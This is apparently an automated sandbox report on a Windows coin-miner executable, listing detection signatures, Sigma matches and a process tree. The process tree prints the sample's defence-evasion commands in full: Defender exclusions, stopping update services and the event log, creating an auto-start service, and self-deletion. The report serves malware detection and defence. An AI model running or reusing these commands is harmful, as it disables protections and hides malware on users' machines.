Edit tour

Windows Analysis Report
whrbuflqwhah.exe

Overview

General Information

Sample name:	whrbuflqwhah.exe
Analysis ID:	1538050
MD5:	99201be105bf0a4b25d9c5113da723fb
SHA1:	443e6e285063f67cb46676b3951733592d569a7c
SHA256:	e4eda2de1dab7a3891b0ed6eff0ccd905ff4b275150004c6eb5f1d6582eea9a2
Tags:	Coinerexeuser-susu99069042
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Stop EventLog

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Modifies the context of a thread in another process (thread injection)

Modifies the hosts file

Modifies the prolog of user mode functions (user mode inline hooks)

Self deletion via cmd or bat file

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

whrbuflqwhah.exe (PID: 7272 cmdline: "C:\Users\user\Desktop\whrbuflqwhah.exe" MD5: 99201BE105BF0A4B25D9C5113DA723FB)

powershell.exe (PID: 7284 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7460 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 7516 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7592 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 7524 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7624 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7672 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7720 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7776 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7824 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 988 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 696 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 592 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1084 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1200 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1252 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1296 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1408 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1488 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1496 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1552 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1572 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1652 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1724 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1824 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1840 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1940 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1948 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

sc.exe (PID: 7836 cmdline: C:\Windows\system32\sc.exe delete "RYVSUJUA" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7880 cmdline: C:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7932 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7940 cmdline: C:\Windows\system32\sc.exe start "RYVSUJUA" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7956 cmdline: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\whrbuflqwhah.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 8064 cmdline: choice /C Y /N /D Y /T 3 MD5: 1A9804F0C374283B094E9E55DC5EE128)

whrbuflqwhah.exe (PID: 8056 cmdline: C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe MD5: 99201BE105BF0A4B25D9C5113DA723FB)

cleanup

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\whrbuflqwhah.exe", ParentImage: C:\Users\user\Desktop\whrbuflqwhah.exe, ParentProcessId: 7272, ParentProcessName: whrbuflqwhah.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7284, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 7824, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\whrbuflqwhah.exe", ParentImage: C:\Users\user\Desktop\whrbuflqwhah.exe, ParentProcessId: 7272, ParentProcessName: whrbuflqwhah.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto", ProcessId: 7880, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\whrbuflqwhah.exe", ParentImage: C:\Users\user\Desktop\whrbuflqwhah.exe, ParentProcessId: 7272, ParentProcessName: whrbuflqwhah.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7284, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\whrbuflqwhah.exe", ParentImage: C:\Users\user\Desktop\whrbuflqwhah.exe, ParentProcessId: 7272, ParentProcessName: whrbuflqwhah.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7932, ProcessName: sc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe	ReversingLabs: Detection: 63%
Source: C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe	Virustotal: Detection: 71%			Perma Link

Multi AV Scanner detection for submitted file

Source: whrbuflqwhah.exe	ReversingLabs: Detection: 63%
Source: whrbuflqwhah.exe	Virustotal: Detection: 71%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: whrbuflqwhah.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF7DCE0 FindFirstFileExW,	3_2_000002C5CCF7DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC64DCE0 FindFirstFileExW,	22_2_00000225DC64DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AEDCE0 FindFirstFileExW,	31_2_00000202C0AEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A66130DCE0 FindFirstFileExW,	32_2_000002A66130DCE0
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDDDCE0 FindFirstFileExW,	33_2_000002BAAEDDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CDCE0 FindFirstFileExW,	34_2_0000026A879CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537ADCE0 FindFirstFileExW,	35_2_00000179537ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56DCE0 FindFirstFileExW,	36_2_000002295D56DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_0000025306E6DCE0 FindFirstFileExW,	37_2_0000025306E6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_000001845B3ADCE0 FindFirstFileExW,	38_2_000001845B3ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000001ADECD4DCE0 FindFirstFileExW,	39_2_000001ADECD4DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D55907DCE0 FindFirstFileExW,	40_2_000001D55907DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_00000241A9EADCE0 FindFirstFileExW,	41_2_00000241A9EADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD7319DCE0 FindFirstFileExW,	42_2_000001CD7319DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E89DCE0 FindFirstFileExW,	43_2_000002824E89DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B47B3DCE0 FindFirstFileExW,	44_2_0000021B47B3DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_000002087006DCE0 FindFirstFileExW,	45_2_000002087006DCE0

Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCer
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCerbalRP
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: lsass.exe, 0000001F.00000002.3097392609.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0~

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Users\user\Desktop\whrbuflqwhah.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C:\Windows\System32\dialer.exe	Code function: 17_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	17_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC6428C8 NtEnumerateValueKey,NtEnumerateValueKey,	22_2_00000225DC6428C8
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AE202C NtQuerySystemInformation,StrCmpNIW,	31_2_00000202C0AE202C
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AE253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	31_2_00000202C0AE253C
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDD28C8 NtEnumerateValueKey,NtEnumerateValueKey,	33_2_000002BAAEDD28C8

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF41F2C	3_2_000002C5CCF41F2C
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF4D0E0	3_2_000002C5CCF4D0E0
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF538A8	3_2_000002C5CCF538A8
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF72B2C	3_2_000002C5CCF72B2C
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF7DCE0	3_2_000002C5CCF7DCE0
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF844A8	3_2_000002C5CCF844A8
Source: C:\Windows\System32\dialer.exe	Code function: 17_2_000000014000226C	17_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 17_2_00000001400014D8	17_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 17_2_0000000140002560	17_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC611F2C	22_2_00000225DC611F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC61D0E0	22_2_00000225DC61D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC6238A8	22_2_00000225DC6238A8
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC642B2C	22_2_00000225DC642B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC64DCE0	22_2_00000225DC64DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC6544A8	22_2_00000225DC6544A8
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AB1F2C	31_2_00000202C0AB1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AC38A8	31_2_00000202C0AC38A8
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0ABD0E0	31_2_00000202C0ABD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AE2B2C	31_2_00000202C0AE2B2C
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AF44A8	31_2_00000202C0AF44A8
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AEDCE0	31_2_00000202C0AEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A6612D1F2C	32_2_000002A6612D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A6612DD0E0	32_2_000002A6612DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A6612E38A8	32_2_000002A6612E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A661302B2C	32_2_000002A661302B2C
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A66131AEC5	32_2_000002A66131AEC5
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A66130DCE0	32_2_000002A66130DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A6613144A8	32_2_000002A6613144A8
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDA1F2C	33_2_000002BAAEDA1F2C
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDAD0E0	33_2_000002BAAEDAD0E0
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDB38A8	33_2_000002BAAEDB38A8
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDD2B2C	33_2_000002BAAEDD2B2C
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDDDCE0	33_2_000002BAAEDDDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDE44A8	33_2_000002BAAEDE44A8
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A8799D0E0	34_2_0000026A8799D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879A38A8	34_2_0000026A879A38A8
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A87991F2C	34_2_0000026A87991F2C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CDCE0	34_2_0000026A879CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879D44A8	34_2_0000026A879D44A8
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879C2B2C	34_2_0000026A879C2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537838A8	35_2_00000179537838A8
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_000001795377D0E0	35_2_000001795377D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_0000017953771F2C	35_2_0000017953771F2C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537B44A8	35_2_00000179537B44A8
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537ADCE0	35_2_00000179537ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537A2B2C	35_2_00000179537A2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D53D0E0	36_2_000002295D53D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D5438A8	36_2_000002295D5438A8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D531F2C	36_2_000002295D531F2C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56DCE0	36_2_000002295D56DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D5744A8	36_2_000002295D5744A8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D562B2C	36_2_000002295D562B2C
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_00000253067D1F2C	37_2_00000253067D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_00000253067DD0E0	37_2_00000253067DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_00000253067E38A8	37_2_00000253067E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_0000025306E62B2C	37_2_0000025306E62B2C
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_0000025306E6DCE0	37_2_0000025306E6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_0000025306E744A8	37_2_0000025306E744A8
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_000001845B3B44A8	38_2_000001845B3B44A8
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_000001845B3ADCE0	38_2_000001845B3ADCE0
